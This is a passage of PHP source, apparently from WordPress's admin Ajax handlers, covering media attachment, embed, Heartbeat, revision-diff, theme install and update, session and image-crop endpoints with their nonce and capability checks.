if ( ! $id = absint( $_REQUEST['id'] ) )
		wp_send_json_error();

if ( ! $post = get_post( $id ) )
		wp_send_json_error();

if ( 'attachment' != $post->post_type )
		wp_send_json_error();

if ( ! current_user_can( 'upload_files' ) )
		wp_send_json_error();

if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
		wp_send_json_error();

wp_send_json_success( $attachment );
}

/**
 * Ajax handler for querying attachments.
 *
 * @since 3.5.0
 */
function wp_ajax_query_attachments() {
	if ( ! current_user_can( 'upload_files' ) )
		wp_send_json_error();

$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
	$keys = array(
		's', 'order', 'orderby', 'posts_per_page', 'paged', 'post_mime_type',
		'post_parent', 'author', 'post__in', 'post__not_in', 'year', 'monthnum'
	);
	foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
		if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
			$keys[] = $t->query_var;
		}
	}

$query = array_intersect_key( $query, array_flip( $keys ) );
	$query['post_type'] = 'attachment';
	if ( MEDIA_TRASH
		&& ! empty( $_REQUEST['query']['post_status'] )
		&& 'trash' === $_REQUEST['query']['post_status'] ) {
		$query['post_status'] = 'trash';
	} else {
		$query['post_status'] = 'inherit';
	}

if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) )
		$query['post_status'] .= ',private';

// Filter query clauses to include filenames.
	if ( isset( $query['s'] ) ) {
		add_filter( 'posts_clauses', '_filter_query_attachment_filenames' );
	}

/**
	 * Filters the arguments passed to WP_Query during an Ajax
	 * call for querying attachments.
	 *
	 * @since 3.7.0
	 *
	 * @see WP_Query::parse_query()
	 *
	 * @param array $query An array of query variables.
	 */
	$query = apply_filters( 'ajax_query_attachments_args', $query );
	$query = new WP_Query( $query );

$posts = array_map( 'wp_prepare_attachment_for_js', $query->posts );
	$posts = array_filter( $posts );

wp_send_json_success( $posts );
}

/**
 * Ajax handler for updating attachment attributes.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment() {
	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) )
		wp_send_json_error();

if ( ! $id = absint( $_REQUEST['id'] ) )
		wp_send_json_error();

check_ajax_referer( 'update-post_' . $id, 'nonce' );

if ( ! current_user_can( 'edit_post', $id ) )
		wp_send_json_error();

$changes = $_REQUEST['changes'];
	$post    = get_post( $id, ARRAY_A );

if ( 'attachment' != $post['post_type'] )
		wp_send_json_error();

if ( isset( $changes['parent'] ) )
		$post['post_parent'] = $changes['parent'];

if ( isset( $changes['title'] ) )
		$post['post_title'] = $changes['title'];

if ( isset( $changes['caption'] ) )
		$post['post_excerpt'] = $changes['caption'];

if ( isset( $changes['description'] ) )
		$post['post_content'] = $changes['description'];

if ( MEDIA_TRASH && isset( $changes['status'] ) )
		$post['post_status'] = $changes['status'];

if ( isset( $changes['alt'] ) ) {
		$alt = wp_unslash( $changes['alt'] );
		if ( $alt != get_post_meta( $id, '_wp_attachment_image_alt', true ) ) {
			$alt = wp_strip_all_tags( $alt, true );
			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
		}
	}

if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
		$changed = false;
		$id3data = wp_get_attachment_metadata( $post['ID'] );
		if ( ! is_array( $id3data ) ) {
			$changed = true;
			$id3data = array();
		}
		foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
			if ( isset( $changes[ $key ] ) ) {
				$changed = true;
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
			}
		}

if ( $changed ) {
			wp_update_attachment_metadata( $id, $id3data );
		}
	}

if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
		wp_delete_post( $id );
	} else {
		wp_update_post( $post );
	}

wp_send_json_success();
}

/**
 * Ajax handler for saving backward compatible attachment attributes.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_compat() {
	if ( ! isset( $_REQUEST['id'] ) )
		wp_send_json_error();

if ( ! $id = absint( $_REQUEST['id'] ) )
		wp_send_json_error();

if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) )
		wp_send_json_error();
	$attachment_data = $_REQUEST['attachments'][ $id ];

check_ajax_referer( 'update-post_' . $id, 'nonce' );

if ( ! current_user_can( 'edit_post', $id ) )
		wp_send_json_error();

$post = get_post( $id, ARRAY_A );

if ( 'attachment' != $post['post_type'] )
		wp_send_json_error();

/** This filter is documented in wp-admin/includes/media.php */
	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );

if ( isset( $post['errors'] ) ) {
		$errors = $post['errors']; // @todo return me and display me!
		unset( $post['errors'] );
	}

wp_update_post( $post );

foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		if ( isset( $attachment_data[ $taxonomy ] ) )
			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
	}

if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
		wp_send_json_error();

wp_send_json_success( $attachment );
}

/**
 * Ajax handler for saving the attachment order.
 *
 * @since 3.5.0
 */
function wp_ajax_save_attachment_order() {
	if ( ! isset( $_REQUEST['post_id'] ) )
		wp_send_json_error();

if ( ! $post_id = absint( $_REQUEST['post_id'] ) )
		wp_send_json_error();

if ( empty( $_REQUEST['attachments'] ) )
		wp_send_json_error();

check_ajax_referer( 'update-post_' . $post_id, 'nonce' );

$attachments = $_REQUEST['attachments'];

if ( ! current_user_can( 'edit_post', $post_id ) )
		wp_send_json_error();

foreach ( $attachments as $attachment_id => $menu_order ) {
		if ( ! current_user_can( 'edit_post', $attachment_id ) )
			continue;
		if ( ! $attachment = get_post( $attachment_id ) )
			continue;
		if ( 'attachment' != $attachment->post_type )
			continue;

wp_update_post( array( 'ID' => $attachment_id, 'menu_order' => $menu_order ) );
	}

wp_send_json_success();
}

/**
 * Ajax handler for sending an attachment to the editor.
 *
 * Generates the HTML to send an attachment to the editor.
 * Backward compatible with the {@see 'media_send_to_editor'} filter
 * and the chain of filters that follow.
 *
 * @since 3.5.0
 */
function wp_ajax_send_attachment_to_editor() {
	check_ajax_referer( 'media-send-to-editor', 'nonce' );

$attachment = wp_unslash( $_POST['attachment'] );

$id = intval( $attachment['id'] );

if ( ! $post = get_post( $id ) )
		wp_send_json_error();

if ( 'attachment' != $post->post_type )
		wp_send_json_error();

if ( current_user_can( 'edit_post', $id ) ) {
		// If this attachment is unattached, attach it. Primarily a back compat thing.
		if ( 0 == $post->post_parent && $insert_into_post_id = intval( $_POST['post_id'] ) ) {
			wp_update_post( array( 'ID' => $id, 'post_parent' => $insert_into_post_id ) );
		}
	}

$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
	$rel = ( strpos( $url, 'attachment_id') || get_attachment_link( $id ) == $url );

remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );

if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';

// No whitespace-only captions.
		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
		if ( '' === trim( $caption ) ) {
			$caption = '';
		}

$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
		$html = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
	} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post )  ) {
		$html = stripslashes_deep( $_POST['html'] );
	} else {
		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
		$rel = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized

if ( ! empty( $url ) ) {
			$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
		}
	}

/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );

wp_send_json_success( $html );
}

/**
 * Ajax handler for sending a link to the editor.
 *
 * Generates the HTML to send a non-image embed link to the editor.
 *
 * Backward compatible with the following filters:
 * - file_send_to_editor_url
 * - audio_send_to_editor_url
 * - video_send_to_editor_url
 *
 * @since 3.5.0
 *
 * @global WP_Post  $post
 * @global WP_Embed $wp_embed
 */
function wp_ajax_send_link_to_editor() {
	global $post, $wp_embed;

check_ajax_referer( 'media-send-to-editor', 'nonce' );

if ( ! $src = wp_unslash( $_POST['src'] ) )
		wp_send_json_error();

if ( ! strpos( $src, '://' ) )
		$src = 'http://' . $src;

if ( ! $src = esc_url_raw( $src ) )
		wp_send_json_error();

if ( ! $link_text = trim( wp_unslash( $_POST['link_text'] ) ) )
		$link_text = wp_basename( $src );

$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );

// Ping WordPress for an embed.
	$check_embed = $wp_embed->run_shortcode( '[embed]'. $src .'[/embed]' );

// Fallback that WordPress creates when no oEmbed was found.
	$fallback = $wp_embed->maybe_make_link( $src );

if ( $check_embed !== $fallback ) {
		// TinyMCE view for [embed] will parse this
		$html = '[embed]' . $src . '[/embed]';
	} elseif ( $link_text ) {
		$html = '<a href="' . esc_url( $src ) . '">' . $link_text . '</a>';
	} else {
		$html = '';
	}

// Figure out what filter to run:
	$type = 'file';
	if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
		&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
			$type = $ext_type;

/** This filter is documented in wp-admin/includes/media.php */
	$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );

wp_send_json_success( $html );
}

/**
 * Ajax handler for the Heartbeat API.
 *
 * Runs when the user is logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_heartbeat() {
	if ( empty( $_POST['_nonce'] ) ) {
		wp_send_json_error();
	}

$response = $data = array();
	$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );

// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key($_POST['screen_id']);
	} else {
		$screen_id = 'front';
	}

if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );
	}

if ( 1 !== $nonce_state ) {
		$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );

if ( false === $nonce_state ) {
			// User is logged in but nonces have expired.
			$response['nonces_expired'] = true;
			wp_send_json( $response );
		}
	}

if ( ! empty( $data ) ) {
		/**
		 * Filters the Heartbeat response received.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen id.
		 */
		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
	}

/**
	 * Filters the Heartbeat response sent.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen id.
	 */
	$response = apply_filters( 'heartbeat_send', $response, $screen_id );

/**
	 * Fires when Heartbeat ticks in logged-in environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The Heartbeat response.
	 * @param string $screen_id The screen id.
	 */
	do_action( 'heartbeat_tick', $response, $screen_id );

// Send the current time according to the server
	$response['server_time'] = time();

wp_send_json( $response );
}

/**
 * Ajax handler for getting revision diffs.
 *
 * @since 3.6.0
 */
function wp_ajax_get_revision_diffs() {
	require ABSPATH . 'wp-admin/includes/revision.php';

if ( ! $post = get_post( (int) $_REQUEST['post_id'] ) )
		wp_send_json_error();

if ( ! current_user_can( 'edit_post', $post->ID ) )
		wp_send_json_error();

// Really just pre-loading the cache here.
	if ( ! $revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) ) )
		wp_send_json_error();

$return = array();
	@set_time_limit( 0 );

foreach ( $_REQUEST['compare'] as $compare_key ) {
		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to

$return[] = array(
			'id' => $compare_key,
			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
		);
	}
	wp_send_json_success( $return );
}

/**
 * Ajax handler for auto-saving the selected color scheme for
 * a user's own profile.
 *
 * @since 3.8.0
 *
 * @global array $_wp_admin_css_colors
 */
function wp_ajax_save_user_color_scheme() {
	global $_wp_admin_css_colors;

check_ajax_referer( 'save-color-scheme', 'nonce' );

$color_scheme = sanitize_key( $_POST['color_scheme'] );

if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		wp_send_json_error();
	}

$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );

wp_send_json_success( array(
		'previousScheme' => 'admin-color-' . $previous_color_scheme,
		'currentScheme'  => 'admin-color-' . $color_scheme
	) );
}

/**
 * Ajax handler for getting themes from themes_api().
 *
 * @since 3.9.0
 *
 * @global array $themes_allowedtags
 * @global array $theme_field_defaults
 */
function wp_ajax_query_themes() {
	global $themes_allowedtags, $theme_field_defaults;

if ( ! current_user_can( 'install_themes' ) ) {
		wp_send_json_error();
	}

$args = wp_parse_args( wp_unslash( $_REQUEST['request'] ), array(
		'per_page' => 20,
		'fields'   => $theme_field_defaults
	) );

if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
		$user = get_user_option( 'wporg_favorites' );
		if ( $user ) {
			$args['user'] = $user;
		}
	}

$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';

/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );

$api = themes_api( 'query_themes', $args );

if ( is_wp_error( $api ) ) {
		wp_send_json_error();
	}

$update_php = network_admin_url( 'update.php?action=install-theme' );
	foreach ( $api->themes as &$theme ) {
		$theme->install_url = add_query_arg( array(
			'theme'    => $theme->slug,
			'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug )
		), $update_php );

if ( current_user_can( 'switch_themes' ) ) {
			if ( is_multisite() ) {
				$theme->activate_url = add_query_arg( array(
					'action'   => 'enable',
					'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
					'theme'    => $theme->slug,
				), network_admin_url( 'themes.php' ) );
			} else {
				$theme->activate_url = add_query_arg( array(
					'action'     => 'activate',
					'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $theme->slug ),
					'stylesheet' => $theme->slug,
				), admin_url( 'themes.php' ) );
			}
		}

if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$theme->customize_url = add_query_arg( array(
				'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
			), wp_customize_url( $theme->slug ) );
		}

$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
		$theme->author      = wp_kses( $theme->author, $themes_allowedtags );
		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
		$theme->description = wp_kses( $theme->description, $themes_allowedtags );
		$theme->stars       = wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings, 'echo' => false ) );
		$theme->num_ratings = number_format_i18n( $theme->num_ratings );
		$theme->preview_url = set_url_scheme( $theme->preview_url );
	}

wp_send_json_success( $api );
}

/**
 * Apply [embed] Ajax handlers to a string.
 *
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global $post.
 * @global WP_Embed   $wp_embed   Embed API instance.
 * @global WP_Scripts $wp_scripts
 * @global int        $content_width
 */
function wp_ajax_parse_embed() {
	global $post, $wp_embed, $content_width;

if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}
	$post_id = isset( $_POST[ 'post_ID' ] ) ? intval( $_POST[ 'post_ID' ] ) : 0;
	if ( $post_id > 0 ) {
		$post = get_post( $post_id );
		if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
			wp_send_json_error();
		}
		setup_postdata( $post );
	} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
		wp_send_json_error();
	}

$shortcode = wp_unslash( $_POST['shortcode'] );

preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
	$atts = shortcode_parse_atts( $matches[3] );
	if ( ! empty( $matches[5] ) ) {
		$url = $matches[5];
	} elseif ( ! empty( $atts['src'] ) ) {
		$url = $atts['src'];
	} else {
		$url = '';
	}

$parsed = false;
	$wp_embed->return_false_on_fail = true;

if ( 0 === $post_id ) {
		/*
		 * Refresh oEmbeds cached outside of posts that are past their TTL.
		 * Posts are excluded because they have separate logic for refreshing
		 * their post meta caches. See WP_Embed::cache_oembed().
		 */
		$wp_embed->usecache = false;
	}

if ( is_ssl() && 0 === strpos( $url, 'http://' ) ) {
		// Admin is ssl and the user pasted non-ssl URL.
		// Check if the provider supports ssl embeds and use that for the preview.
		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
		$parsed = $wp_embed->run_shortcode( $ssl_shortcode );

if ( ! $parsed ) {
			$no_ssl_support = true;
		}
	}

// Set $content_width so any embeds fit in the destination iframe.
	if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
		if ( ! isset( $content_width ) ) {
			$content_width = intval( $_POST['maxwidth'] );
		} else {
			$content_width = min( $content_width, intval( $_POST['maxwidth'] ) );
		}
	}

if ( $url && ! $parsed ) {
		$parsed = $wp_embed->run_shortcode( $shortcode );
	}

if ( ! $parsed ) {
		wp_send_json_error( array(
			'type' => 'not-embeddable',
			'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
		) );
	}

if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
		$styles = '';
		$mce_styles = wpview_media_sandbox_styles();
		foreach ( $mce_styles as $style ) {
			$styles .= sprintf( '<link rel="stylesheet" href="%s"/>', $style );
		}

$html = do_shortcode( $parsed );

global $wp_scripts;
		if ( ! empty( $wp_scripts ) ) {
			$wp_scripts->done = array();
		}
		ob_start();
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
		$scripts = ob_get_clean();

$parsed = $styles . $html . $scripts;
	}

if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
		wp_send_json_error( array(
			'type' => 'not-ssl',
			'message' => __( 'This preview is unavailable in the editor.' ),
		) );
	}

$return = array(
		'body' => $parsed,
		'attr' => $wp_embed->last_attr
	);

if ( strpos( $parsed, 'class="wp-embedded-content' ) ) {
		if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
			$script_src = includes_url( 'js/wp-embed.js' );
		} else {
			$script_src = includes_url( 'js/wp-embed.min.js' );
		}

$return['head'] = '<script src="' . $script_src . '"></script>';
		$return['sandbox'] = true;
	}

wp_send_json_success( $return );
}

/**
 * @since 4.0.0
 *
 * @global WP_Post    $post
 * @global WP_Scripts $wp_scripts
 */
function wp_ajax_parse_media_shortcode() {
	global $post, $wp_scripts;

if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

$shortcode = wp_unslash( $_POST['shortcode'] );

if ( ! empty( $_POST['post_ID'] ) ) {
		$post = get_post( (int) $_POST['post_ID'] );
	}

// the embed shortcode requires a post
	if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
		if ( 'embed' === $shortcode ) {
			wp_send_json_error();
		}
	} else {
		setup_postdata( $post );
	}

$parsed = do_shortcode( $shortcode  );

if ( empty( $parsed ) ) {
		wp_send_json_error( array(
			'type' => 'no-items',
			'message' => __( 'No items found.' ),
		) );
	}

$head = '';
	$styles = wpview_media_sandbox_styles();

foreach ( $styles as $style ) {
		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
	}

if ( ! empty( $wp_scripts ) ) {
		$wp_scripts->done = array();
	}

ob_start();

echo $parsed;

if ( 'playlist' === $_REQUEST['type'] ) {
		wp_underscore_playlist_templates();

wp_print_scripts( 'wp-playlist' );
	} else {
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
	}

wp_send_json_success( array(
		'head' => $head,
		'body' => ob_get_clean()
	) );
}

/**
 * Ajax handler for destroying multiple open sessions for a user.
 *
 * @since 4.1.0
 */
function wp_ajax_destroy_sessions() {
	$user = get_userdata( (int) $_POST['user_id'] );
	if ( $user ) {
		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			$user = false;
		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
			$user = false;
		}
	}

if ( ! $user ) {
		wp_send_json_error( array(
			'message' => __( 'Could not log out user sessions. Please try again.' ),
		) );
	}

$sessions = WP_Session_Tokens::get_instance( $user->ID );

if ( $user->ID === get_current_user_id() ) {
		$sessions->destroy_others( wp_get_session_token() );
		$message = __( 'You are now logged out everywhere else.' );
	} else {
		$sessions->destroy_all();
		/* translators: %s: User's display name. */
		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
	}

wp_send_json_success( array( 'message' => $message ) );
}

/**
 * Ajax handler for cropping an image.
 *
 * @since 4.3.0
 */
function wp_ajax_crop_image() {
	$attachment_id = absint( $_POST['id'] );

check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );
	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_send_json_error();
	}

$context = str_replace( '_', '-', $_POST['context'] );
	$data    = array_map( 'absint', $_POST['cropDetails'] );
	$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );

if ( ! $cropped || is_wp_error( $cropped ) ) {
		wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
	}

switch ( $context ) {
		case 'site-icon':
			require_once ABSPATH . '/wp-admin/includes/class-wp-site-icon.php';
			$wp_site_icon = new WP_Site_Icon();

// Skip creating a new attachment if the attachment is a Site Icon.
			if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) == $context ) {

// Delete the temporary cropped file, we don't need it.
				wp_delete_file( $cropped );

// Additional sizes in wp_prepare_attachment_for_js().
				add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
				break;
			}

/** This filter is documented in wp-admin/custom-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
			$object  = $wp_site_icon->create_attachment_object( $cropped, $attachment_id );
			unset( $object['ID'] );

// Update the attachment.
			add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
			$attachment_id = $wp_site_icon->insert_attachment( $object, $cropped );
			remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );

// Additional sizes in wp_prepare_attachment_for_js().
			add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
			break;

default:

/**
			 * Fires before a cropped image is saved.
			 *
			 * Allows to add filters to modify the way a cropped image is saved.
			 *
			 * @since 4.3.0
			 *
			 * @param string $context       The Customizer control requesting the cropped image.
			 * @param int    $attachment_id The attachment ID of the original image.
			 * @param string $cropped       Path to the cropped image file.
			 */
			do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );

/** This filter is documented in wp-admin/custom-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

$parent_url = wp_get_attachment_url( $attachment_id );
			$url        = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );

$size       = @getimagesize( $cropped );
			$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

$object = array(
				'post_title'     => basename( $cropped ),
				'post_content'   => $url,
				'post_mime_type' => $image_type,
				'guid'           => $url,
				'context'        => $context,
			);

$attachment_id = wp_insert_attachment( $object, $cropped );
			$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );

/**
			 * Filters the cropped image attachment metadata.
			 *
			 * @since 4.3.0
			 *
			 * @see wp_generate_attachment_metadata()
			 *
			 * @param array $metadata Attachment metadata.
			 */
			$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
			wp_update_attachment_metadata( $attachment_id, $metadata );

/**
			 * Filters the attachment ID for a cropped image.
			 *
			 * @since 4.3.0
			 *
			 * @param int    $attachment_id The attachment ID of the cropped image.
			 * @param string $context       The Customizer control requesting the cropped image.
			 */
			$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
	}

wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
}

/**
 * Ajax handler for generating a password.
 *
 * @since 4.4.0
 */
function wp_ajax_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Ajax handler for saving the user's WordPress.org username.
 *
 * @since 4.4.0
 */
function wp_ajax_save_wporg_username() {
	if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
		wp_send_json_error();
	}

check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );

$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;

if ( ! $username ) {
		wp_send_json_error();
	}

wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
}

/**
 * Ajax handler for installing a theme.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_install_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_theme_specified',
			'errorMessage' => __( 'No theme specified.' ),
		) );
	}

$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );

$status = array(
		'install' => 'theme',
		'slug'    => $slug,
	);

if ( ! current_user_can( 'install_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
		wp_send_json_error( $status );
	}

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
	include_once( ABSPATH . 'wp-admin/includes/theme.php' );

$api = themes_api( 'theme_information', array(
		'slug'   => $slug,
		'fields' => array( 'sections' => false ),
	) );

if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->get_error_code() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

wp_send_json_error( $status );
	}

$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );

if ( current_user_can( 'switch_themes' ) ) {
		if ( is_multisite() ) {
			$status['activateUrl'] = add_query_arg( array(
				'action'   => 'enable',
				'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
				'theme'    => $slug,
			), network_admin_url( 'themes.php' ) );
		} else {
			$status['activateUrl'] = add_query_arg( array(
				'action'     => 'activate',
				'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $slug ),
				'stylesheet' => $slug,
			), admin_url( 'themes.php' ) );
		}
	}

if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
		$status['customizeUrl'] = add_query_arg( array(
			'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
		), wp_customize_url( $slug ) );
	}

/*
	 * See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
	 * on post-installation status.
	 */
	wp_send_json_success( $status );
}

/**
 * Ajax handler for updating a theme.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_update_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_theme_specified',
			'errorMessage' => __( 'No theme specified.' ),
		) );
	}

$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'update'     => 'theme',
		'slug'       => $stylesheet,
		'oldVersion' => '',
		'newVersion' => '',
	);

if ( ! current_user_can( 'update_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
		wp_send_json_error( $status );
	}

